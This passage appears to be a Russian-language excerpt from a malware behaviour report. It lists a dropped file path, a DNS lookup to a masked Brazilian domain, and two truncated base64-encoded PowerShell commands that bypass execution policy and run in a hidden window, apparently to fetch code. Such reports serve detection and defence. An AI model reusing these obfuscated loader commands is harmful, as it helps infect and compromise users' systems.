Техническая информация
- %APPDATA%\a
- DNS ASK no##.com.br
- '%WINDIR%\syswow64\cmd.exe' /c Powershell.exe -e UABvAHcAZQByAFMAaABlAGwAbAAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABiAHkAcABhAHMAcwAgAC0AbgBvAHAAcgBvAGYAaQBsAGUAIAAtAGMAbwBtAG0AYQBuAGQAIAAgACgATgBlAHcALQBPAGIAagBl... (со скрытым окном)
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -e UABvAHcAZQByAFMAaABlAGwAbAAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABiAHkAcABhAHMAcwAgAC0AbgBvAHAAcgBvAGYAaQBsAGUAIAAtAGMAbwBtAG0AYQBuAGQAIAAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAH...